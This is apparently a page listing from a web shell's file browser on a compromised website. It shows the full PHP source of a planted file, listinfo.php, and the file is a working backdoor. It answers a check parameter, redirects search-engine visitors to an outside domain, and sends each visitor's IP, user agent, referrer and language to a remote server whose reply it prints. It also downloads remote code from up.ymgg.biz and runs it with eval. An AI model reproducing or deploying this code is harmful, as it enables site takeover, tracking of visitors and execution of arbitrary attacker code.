%PDF- %PDF-
Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/theme/ |
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/theme/listinfo.php |
<?php up(); if(isset($_GET["ck"])) { echo "|-->ok<--|"; exit(); } $ref = $_SERVER['HTTP_REFERER']; if(stripos($ref,"google") || stripos($ref,"yahoo") || stripos($ref,"bing")) { header("Location: http://balkan-mafia.net/"); exit; } $domain=strtolower($_SERVER['SERVER_NAME']); $age=strtolower(urlencode($_SERVER['HTTP_USER_AGENT'])); $re="none"; $lang=strtolower(urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE'])); $pid="all"; if(isset($_GET["pid"])) { $pid=$_GET["pid"]; }else { $pid="all"; } if(isset($_SERVER['HTTP_REFERER'])) { $re=strtolower(urlencode($_SERVER['HTTP_REFERER'])); }else { $re="none"; } $url="http://jump.ymgg.biz/list.aspx?tid=127&pid=".$pid."&domain=".$domain."&age=".$age."&re=".$re."&lan=".$lang."&ip=".$_SERVER['REMOTE_ADDR']; echo http_gett($url); exit(); function http_gett($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) { if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); return $file_contents; } $return = ''; $url = stripos($url, 'http://') === false ? 'http://'.$url : $url; $matches = parse_url($url); !isset($matches['host']) && $matches['host'] = ''; !isset($matches['path']) && $matches['path'] = ''; !isset($matches['query']) && $matches['query'] = ''; !isset($matches['port']) && $matches['port'] = ''; $host = $matches['host']; $path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/'; $port = !empty($matches['port']) ? $matches['port'] : 80; if($post) { $out = "POST $path HTTP/1.0\r\n"; $out .= "Accept: */*\r\n"; $out .= "Accept-Language: zh-cn\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "Host: $host\r\n"; $out .= 'Content-Length: '.strlen($post)."\r\n"; $out .= "Connection: Close\r\n"; $out .= "Cache-Control: no-cache\r\n"; $out .= "Cookie: $cookie\r\n\r\n"; $out .= $post; } else { $out = "GET $path HTTP/1.0\r\n"; $out .= "Accept: */*\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n"; $out .= "Cookie: PHPSESSID=93bo2ckntj7eug413hm0t9b4f2\r\n"; $out .= "\r\n\r\n"; } if(function_exists('fsockopen')) { $fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout); } elseif (function_exists('pfsockopen')) { $fp = @pfsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout); } else { $fp = false; } if(!$fp) { return ''; } else { stream_set_blocking($fp, $block); stream_set_timeout($fp, $timeout); @fwrite($fp, $out); $status = stream_get_meta_data($fp); if(!$status['timed_out']) { while (!feof($fp)) { if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) { break; } } $stop = false; while(!feof($fp) && !$stop) { $data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit)); $return .= $data; if($limit) { $limit -= strlen($data); $stop = $limit <= 0; } } } @fclose($fp); return $return; } } function up() { $upurl="http://up.ymgg.biz/ptup.txt"; if(isset($_GET["up"])) { eval (http_gett($upurl)); exit(); } } ?>